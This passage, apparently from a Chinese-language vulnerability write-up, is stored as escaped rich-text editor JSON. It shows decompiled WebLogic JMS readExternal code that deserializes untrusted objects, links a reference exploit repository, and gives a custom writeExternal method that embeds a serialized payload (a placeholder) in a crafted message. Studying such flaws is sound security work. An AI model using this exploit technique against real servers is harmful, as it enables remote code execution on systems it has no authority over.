1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5djk-1673852880330&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;piWI-1673852880329&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OvgL-1673852880332&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dwGN-1673852880331&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                BufferInputStream var4 = this.payload.getInputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8GQ9-1673852880334&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Uucs-1673852880333&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                ObjectInputStream var5 = new ObjectInputStream(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QKeu-1673852880336&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xsHo-1673852880335&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.setBodyWritable(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZQL2-1673852880338&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T30b-1673852880337&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.setPropertiesWritable(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1CSo-1673852880340&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zAUh-1673852880339&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nyer-1673852880342&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vt36-1673852880341&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FW1M-1673852880344&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BVe3-1673852880343&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    while(true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6TYg-1673852880346&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bbPb-1673852880345&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.writeObject(var5.readObject());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qibw-1673852880348&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tv6p-1673852880347&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EEms-1673852880350&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I58J-1673852880349&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (EOFException var9) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HSqw-1673852880352&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;adT0-1673852880351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s3bD-1673852880354&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IpRZ-1673852880353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.reset();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bq7j-1673852880356&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vIjp-1673852880355&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.setPropertiesWritable(false);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eR0P-1673852880359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wNP8-1673852880358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6N9W-1673852880361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iBD6-1673852880360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.payload = var7;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MuTt-1673852880363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y8xf-1673852880362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (JMSException var8) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6uXF-1673852880365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;svmI-1673852880364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        JMSClientExceptionLogger.logStackTrace(var8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TBVb-1673852880367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XCHk-1673852880366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5YRW-1673852880369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a1Fc-1673852880368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (MessageNotWriteableException var10) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PQu3-1673852880371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h59x-1673852880370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var10);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6nEU-1673852880373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RPlg-1673852880372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (javax.jms.MessageFormatException var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VVCj-1673852880375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MNVh-1673852880374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var11);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KvPl-1673852880377&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r51f-1673852880376&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (JMSException var12) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u1nM-1673852880379&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kwS8-1673852880378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var12);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WSB6-1673852880381&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jceO-1673852880380&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N939-1673852880383&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9xNw-1673852880382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mMS4-1673852880385&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4FkG-1673852880384&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 3:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e6D6-1673852880387&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r4e3-1673852880386&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if ((var2 &amp; -128) != 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6qLK-1673852880389&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dsSU-1673852880388&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.readExternalCompressedMessageBody(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t1Tm-1673852880391&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zo3a-1673852880390&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zdvp-1673852880393&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XOPH-1673852880392&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XF4E-1673852880395&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QGNd-1673852880394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 2:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4s03-1673852880397&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cj87-1673852880396&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kZPn-1673852880399&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KgdG-1673852880398&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7PMw-1673852880401&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dp6v-1673852880400&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gV9N-1673852880403&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GTPh-1673852880402&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nHlB-1673852880405&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mGYR-1673852880404&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        throw JMSUtilities.versionIOException(var3, 1, 3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K3IU-1673852880407&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ssOZ-1673852880406&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iUrg-1673852880409&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3F0Y-1673852880408&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C3Pj-1673852863478&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lJXu-1673852863476&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;etN2-1673852427732&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rsFE-1673852427730&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考项目代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6N7A-1673853031878&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;egiI-1673853031876&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;L40Y-1673853162645&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/zhzhdoai/Weblogic_Vuln&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bHt7-1673853162644&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/zhzhdoai/Weblogic_Vuln&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YNIP-1673853162646&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zZNu-1673853163816&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n9JY-1673853163815&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;自实现一个writeExternal逻辑：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2IZl-1673853200645&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6DW4-1673853200599&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EWgV-1673853200598&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void writeExternal(ObjectOutput var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZbOs-1673853200601&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PRpa-1673853200600&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.writeExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;96bl-1673853200603&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zQRi-1673853200602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ByteArrayOutputStream var2 = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;scSg-1673853200605&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rzOb-1673853200604&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ObjectOutputStream var3 = new ObjectOutputStream(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2s3w-1673853200607&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G2fH-1673853200606&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h1pq-1673853200609&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G4qo-1673853200608&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1984-1673853200611&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZWAZ-1673853200610&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.writeObject(\&#34;payload_here\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;67cP-1673853200613&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yarE-1673853200612&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;B0zY-1673853200615&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1IVQ-1673853200614&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (IllegalAccessException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2ZGv-1673853200617&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0ryp-1673853200616&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fr5M-1673853200619&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ea6y-1673853200618&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (InvocationTargetException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xkCI-1673853200621&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vOrX-1673853200620&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Oed7-1673853200623&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iMhG-1673853200622&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (InstantiationException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bLQE-1673853200625&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lXNX-1673853200624&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rwfb-1673853200627&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;paeR-1673853200626&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (NoSuchMethodException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7O0f-1673853200630&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WtDq-1673853200628&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NHvl-1673853200632&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UqN6-1673853200631&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (ClassNotFoundException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y6hx-1673853200634&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1jAm-1673853200633&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DLCP-1673853200636&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sour-1673853200635&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tFX6-1673853200638&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q78G-1673853200637&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte[] var5 = var2.toByteArray();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BmOH-1673853200640&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f9EL-1673853200639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.writeByte(1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KUYr-1673853200642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PLat-1673853200641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.writeInt(var5.length);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X6i0-1673853200644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cWTi-1673853200643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var1.write(var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cBwA-1673853206095&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8yTQ-1673853206094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    